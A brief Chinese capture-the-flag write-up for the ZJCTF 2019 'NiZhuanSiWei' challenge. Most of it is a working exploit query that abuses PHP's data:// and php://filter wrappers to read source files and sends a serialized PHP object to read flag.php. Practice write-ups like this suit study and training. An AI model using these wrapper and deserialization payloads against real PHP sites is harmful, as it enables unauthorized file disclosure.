BUU [ZJCTF 2019]NiZhuanSiWei

先看题目，提示了useless.php。

猜到了flag在哪。

没啥可以学的，直接上exp。

?text=data://text/plain,welcome to the zjctf
&file=php://filter/read=convert.base64-encode/resource=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}              //echo 触发ToString